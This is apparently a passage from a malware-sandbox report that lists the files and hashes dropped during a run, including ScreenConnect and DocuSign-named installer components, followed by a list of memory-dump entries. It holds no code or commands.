                      • Size 185B
                      • SHA256 7349251750fcc52d5ea642740ca7e14b26e48e76e1e7a8e02e3c68a39fd11423
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      MSI1C1E.tmp
                      • Path C:\Windows\Installer\MSI1C1E.tmp
                      • Size 211KB
                      • SHA256 c8d190d5be1efd2d52f72a72ae9dfa3940ab3faceb626405959349654fe18b74
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      MSI8FF2.tmp
                      • Path C:\Windows\Installer\MSI8FF2.tmp
                      • Size 1.0MB
                      • SHA256 a5c116a5746888cdd47fae8269e5d5cc1fa51617744c50256619c75e540034e0
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      Microsoft.Deployment.WindowsInstaller.dll
                      • Path C:\Windows\Installer\MSI8FF2.tmp-\Microsoft.Deployment.WindowsInstaller.dll
                      • Size 172KB
                      • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      ScreenConnect.Core.dll
                      • Path C:\Windows\Installer\MSI8FF2.tmp-\ScreenConnect.Core.dll
                      • Size 539KB
                      • SHA256 1e9eacd3c680b18f3bfee12a835a49d63fed76056aedb2b2ef312999eb6b4033
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      ScreenConnect.InstallerActions.dll
                      • Path C:\Windows\Installer\MSI8FF2.tmp-\ScreenConnect.InstallerActions.dll
                      • Size 11KB
                      • SHA256 af7b515d5ea17e6811f7fd4e0fe76b7bbc6c2ff4e58dc005c86fa30d44f184ca
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      ScreenConnect.Windows.dll
                      • Path C:\Windows\Installer\MSI8FF2.tmp-\ScreenConnect.Windows.dll
                      • Size 1.6MB
                      • SHA256 f6e77233f0995581f3171ee92c5cab5b8052d177d333a4999e16e696616739a6
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      MSI9708.tmp
                      • Path C:\Windows\Installer\MSI9708.tmp
                      • Size 202KB
                      • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      icon.ico
                      • Path C:\Windows\Installer\{A157A1EC-2BAF-4F16-ABBF-2C9BDA1967D9}\icon.ico
                      • Size 73KB
                      • SHA256 406c793c20be6bdde619ab7c1385567dafd7ae923cdca08db0b9390fa810e9c3
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      docusignprintdriver.inf_amd64_871637b342fb7360.ini
                      • Path C:\Windows\System32\DriverStore\FileRepository\docusignprintdriver.inf_amd64_871637b342fb7360.ini
                      • Size 883B
                      • SHA256 5b569304f61162dbde5a65bfc2adc704f14aa1cda44992c7709357746c1ecb59
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      2ab29353.gpd
                      • Path C:\Windows\System32\spool\V4Dirs\E752FCDF-320D-473D-8F60-E4BE98481B1C\2ab29353.gpd
                      • Size 21KB
                      • SHA256 2498e523a459f6bf51436e0bd23a449bd6f6e7a3f7f50bde0484427942915839
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      setup.exe
                      • Path C:\Windows\Temp\{84EE344C-5FCE-454F-9049-431342DD5210}\.cr\setup.exe
                      • Size 1.6MB
                      • SHA256 43b2177dc2ade68d62d439b3332535873a07a962d7e4f89391da7385dffa0382
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      BootstrapperCore.config
                      • Path C:\Windows\Temp\{C48A4768-C58F-4388-8E34-EBEC7821EA79}\.ba\BootstrapperCore.config
                      • Size 1KB
                      • SHA256 e9b4b48a7445e774ac7907c77606f1964aaa33b4725311ac336ed8f59f0bad79
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      BootstrapperCore.dll
                      • Path C:\Windows\Temp\{C48A4768-C58F-4388-8E34-EBEC7821EA79}\.ba\BootstrapperCore.dll
                      • Size 87KB
                      • SHA256 f2c2b3ce2df70a3206f3111391ffc7b791b32505fa97aef22c0c2dbf6f3b0426
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      DocuSign.BootstrapperApplication.dll
                      • Path C:\Windows\Temp\{C48A4768-C58F-4388-8E34-EBEC7821EA79}\.ba\DocuSign.BootstrapperApplication.dll
                      • Size 181KB
                      • SHA256 6e3f9ceda653c6b58f3f8ce13eeb143971d7af489df6d4cdadb18ce380a1d8f7
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      mbahost.dll
                      • Path C:\Windows\Temp\{C48A4768-C58F-4388-8E34-EBEC7821EA79}\.ba\mbahost.dll
                      • Size 119KB
                      • SHA256 9dfa1bc5d2ab4c652304976978749141b8c312784b05cb577f338a0aa91330db
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      MainPackage
                      • Path C:\Windows\Temp\{C48A4768-C58F-4388-8E34-EBEC7821EA79}\MainPackage
                      • Size 3.4MB
                      • SHA256 6e4f0f8335e1e468700772213bac21575deb0a1c1405a33b721335feb8a9399f
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      de.mst
                      • Path C:\Windows\Temp\{C48A4768-C58F-4388-8E34-EBEC7821EA79}\de.mst
                      • Size 32KB
                      • SHA256 02d69e8dcad7b85086797d70b7594722b3dea85d2b15d48b50479cbfd3499fab
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      es.mst
                      • Path C:\Windows\Temp\{C48A4768-C58F-4388-8E34-EBEC7821EA79}\es.mst
                      • Size 32KB
                      • SHA256 0c7420cc4bd0fb0fcf23786101b70aebaf67eaca7ee54f20380e32d335139ac7
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      fr.mst
                      • Path C:\Windows\Temp\{C48A4768-C58F-4388-8E34-EBEC7821EA79}\fr.mst
                      • Size 36KB
                      • SHA256 c86dee1f60bab41472281e953f6a8834cfbb8a88e00b4ecbb4bf7d0089f7cfd3
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      ko.mst
                      • Path C:\Windows\Temp\{C48A4768-C58F-4388-8E34-EBEC7821EA79}\ko.mst
                      • Size 32KB
                      • SHA256 985c5ba80fa400378b84cfba6bcf7856fa09c08482784758d85c12a821abf05e
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      memory/52-11-0x00007FF8B4040000-0x00007FF8B49E4000-memory.dmp
                      Download

                      memory/52-9-0x00007FF8B4040000-0x00007FF8B49E4000-memory.dmp
                      Download

                      memory/52-16-0x00007FF8B4040000-0x00007FF8B49E4000-memory.dmp
                      Download

                      memory/52-18-0x00007FF8B4040000-0x00007FF8B49E4000-memory.dmp
                      Download

                      memory/52-19-0x00007FF8B4040000-0x00007FF8B49E4000-memory.dmp
                      Download

                      memory/52-14-0x00007FF8B4040000-0x00007FF8B49E4000-memory.dmp
                      Download

                      memory/52-4-0x000002361A7E0000-0x000002361A802000-memory.dmp
                      Download

                      memory/52-7-0x00007FF8B4040000-0x00007FF8B49E4000-memory.dmp
                      Download

                      memory/52-8-0x00007FF8B4040000-0x00007FF8B49E4000-memory.dmp
                      Download

                      memory/52-13-0x00007FF8B4040000-0x00007FF8B49E4000-memory.dmp
                      Download

                      memory/52-12-0x00007FF8B4040000-0x00007FF8B49E4000-memory.dmp
                      Download

                      memory/52-3-0x00007FF8B4040000-0x00007FF8B49E4000-memory.dmp
                      Download

                      memory/52-2-0x00007FF8B41CF000-0x00007FF8B41D0000-memory.dmp
                      Download

                      memory/52-10-0x00007FF8B4040000-0x00007FF8B49E4000-memory.dmp
                      Download

                      memory/1232-312-0x000001D5286A0000-0x000001D5286CE000-memory.dmp
                      Download

                      memory/1232-314-0x000001D527940000-0x000001D527946000-memory.dmp
                      Download

                      memory/2040-142-0x0000000004E60000-0x0000000004F35000-memory.dmp
                      Download

                      memory/2040-140-0x0000000004B00000-0x0000000004B41000-memory.dmp
                      Download

                      memory/2040-106-0x0000000004610000-0x0000000004628000-memory.dmp
                      Download

                      memory/2040-130-0x0000000004B40000-0x0000000004B90000-memory.dmp
                      Download

                      memory/2040-136-0x0000000004B90000-0x0000000004BC6000-memory.dmp
                      Download

                      memory/2040-138-0x0000000004C70000-0x0000000004D02000-memory.dmp
                      Download

                      memory/3928-66-0x00000000063A0000-0x000000000654C000-memory.dmp
                      Download

                      memory/3928-54-0x0000000004010000-0x000000000403E000-memory.dmp
                      Download

                      memory/3928-58-0x0000000004050000-0x000000000405A000-memory.dmp
                      Download

                      memory/3928-67-0x0000000006B10000-0x00000000070CA000-memory.dmp
                      Download

                      memory/3928-62-0x0000000006160000-0x00000000061EE000-memory.dmp
                      Download

                      memory/4044-486-0x0000000001000000-0x0000000001087000-memory.dmp
                      Download

                      memory/4288-465-0x0000025C216E0000-0x0000025C21788000-memory.dmp
                      Download

                      memory/4288-466-0x0000025C21790000-0x0000025C21806000-memory.dmp
                      Download

                      memory/4288-467-0x0000025C08D50000-0x0000025C08D6E000-memory.dmp
                      Download

                      memory/4288-470-0x0000025C216C0000-0x0000025C216C8000-memory.dmp
                      Download

                      memory/4288-471-0x0000025C278B0000-0x0000025C278EE000-memory.dmp
                      Download

                      memory/4288-472-0x0000025C27870000-0x0000025C2787E000-memory.dmp
                      Download

                      memory/4288-464-0x0000025C06F70000-0x0000025C06FFE000-memory.dmp
                      Download

                      memory/5148-227-0x0000000003D70000-0x0000000003DA4000-memory.dmp
                      Download

                      memory/5148-220-0x0000000002C90000-0x0000000002CA8000-memory.dmp
                      Download

                      memory/5440-193-0x0000000000B60000-0x0000000000B78000-memory.dmp
                      Download

                      memory/5440-195-0x000000001B1E0000-0x000000001B221000-memory.dmp
                      Download

                      memory/5440-194-0x0000000000BA0000-0x0000000000BB8000-memory.dmp
                      Download

                      memory/5440-159-0x000000001B7F0000-0x000000001B978000-memory.dmp
                      Download

                      memory/5440-157-0x000000001B4B0000-0x000000001B65C000-memory.dmp
                      Download

                      memory/5440-154-0x000000001B270000-0x000000001B2FE000-memory.dmp
                      Download

                      memory/5440-152-0x0000000000250000-0x00000000002E8000-memory.dmp
                      Download

                      memory/5440-153-0x0000000000BE0000-0x0000000000C16000-memory.dmp
                      Download

                      memory/5576-473-0x0000000001000000-0x0000000001087000-memory.dmp
                      Download

                      memory/5672-492-0x0000000001000000-0x0000000001087000-memory.dmp
                      Download